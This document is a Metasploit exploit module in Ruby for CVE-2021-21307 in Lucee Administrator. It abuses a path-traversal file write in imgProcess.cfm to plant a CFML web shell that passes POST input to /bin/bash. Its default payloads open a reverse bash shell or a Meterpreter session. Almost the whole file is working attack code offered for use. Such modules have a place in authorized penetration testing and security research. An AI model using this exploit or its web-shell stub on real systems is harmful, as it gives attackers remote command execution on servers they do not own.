197 lines
5.3 KiB
Ruby
197 lines
5.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Lucee Administrator imgProcess.cfm Arbitrary File Write',
|
|
'Description' => %q{
|
|
This module exploits an arbitrary file write in Lucee Administrator's
|
|
imgProcess.cfm file to execute commands as the Tomcat user.
|
|
},
|
|
'Author' => [
|
|
'rootxharsh', # Discovery and PoC
|
|
'iamnoooob', # Discovery and PoC
|
|
'wvu' # Exploit
|
|
],
|
|
'References' => [
|
|
['CVE', '2021-21307'],
|
|
['URL', 'https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020-cve-2021-21307/7643'],
|
|
['URL', 'https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r'],
|
|
['URL', 'https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md']
|
|
],
|
|
'DisclosureDate' => '2021-01-15', # rootxharsh and iamnoooob's writeup
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['unix', 'linux'], # TODO: Windows?
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'Privileged' => false, # Tomcat user
|
|
'Targets' => [
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :linux_dropper,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'RPORT' => 8888
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [
|
|
# /opt/lucee/server/lucee-server/context/logs/application.log
|
|
# /opt/lucee/web/logs/exception.log
|
|
IOC_IN_LOGS,
|
|
# /opt/lucee/web/temp/admin-ext-thumbnails/__/
|
|
# /opt/lucee/web/temp/admin-ext-thumbnails/__/../../../context/[a-zA-Z0-9]{8,16}.cfm
|
|
ARTIFACTS_ON_DISK
|
|
]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'Base path', '/lucee'])
|
|
])
|
|
|
|
register_advanced_options([
|
|
OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])
|
|
])
|
|
end
|
|
|
|
def check
|
|
# NOTE: This doesn't actually write a file
|
|
res = write_file(rand_text_alphanumeric(8..16), nil)
|
|
|
|
return CheckCode::Unknown unless res
|
|
|
|
unless res.code == 500 && res.body.include?("key [IMGSRC] doesn't exist")
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
CheckCode::Appears('Lucee Administrator imgProcess.cfm detected.')
|
|
end
|
|
|
|
def exploit
|
|
print_status("Writing CFML stub: #{full_uri(cfml_uri)}")
|
|
|
|
unless write_cfml_stub
|
|
fail_with(Failure::NotVulnerable, 'Failed to write CFML stub')
|
|
end
|
|
|
|
print_status("Executing #{payload_instance.refname} (#{target.name})")
|
|
|
|
case target['Type']
|
|
when :unix_cmd
|
|
execute_command(payload.encoded)
|
|
when :linux_dropper
|
|
execute_cmdstager
|
|
end
|
|
end
|
|
|
|
def write_cfml_stub
|
|
# XXX: Create /opt/lucee/web/temp/admin-ext-thumbnails/__/
|
|
res = write_file('/.', '')
|
|
|
|
# Leak directory traversal base path from 500 response
|
|
unless res&.code == 500 && %r{file \[(?<base_path>.*?/__/)\.\]} =~ res.body
|
|
return false
|
|
end
|
|
|
|
register_dir_for_cleanup(base_path)
|
|
|
|
cfml_path = "/../../../context/#{cfml_filename}"
|
|
|
|
res = write_file(cfml_path, cfml_stub)
|
|
|
|
return false unless res&.code == 200
|
|
|
|
register_file_for_cleanup(normalize_uri(base_path, cfml_path))
|
|
|
|
true
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
vprint_status(cmd)
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => cfml_uri,
|
|
'vars_post' => {
|
|
cfml_param => cmd
|
|
}
|
|
}, datastore['CmdExecTimeout'])
|
|
|
|
return unless res
|
|
|
|
fail_with(Failure::PayloadFailed, cmd) unless res.code == 200
|
|
|
|
vprint_line(res.body)
|
|
end
|
|
|
|
def write_file(name, contents)
|
|
opts = {
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/admin/imgProcess.cfm')
|
|
}
|
|
|
|
opts['vars_get'] = { 'file' => name } if name
|
|
opts['vars_post'] = { 'imgSrc' => contents } if contents
|
|
|
|
send_request_cgi(opts)
|
|
end
|
|
|
|
def cfml_stub
|
|
# https://cfdocs.org/cfscript
|
|
# https://cfdocs.org/cfexecute
|
|
<<~CFML.gsub(/^\s+/, '').tr("\n", '')
|
|
<cfscript>
|
|
cfexecute(name="/bin/bash", arguments=["-c", "#form.#{cfml_param}#"]);
|
|
</cfscript>
|
|
CFML
|
|
end
|
|
|
|
def cfml_uri
|
|
normalize_uri(target_uri.path, cfml_filename)
|
|
end
|
|
|
|
def cfml_param
|
|
@cfml_param ||= rand_text_alphanumeric(8..16)
|
|
end
|
|
|
|
def cfml_filename
|
|
@cfml_filename ||= "#{rand_text_alphanumeric(8..16)}.cfm"
|
|
end
|
|
|
|
end
|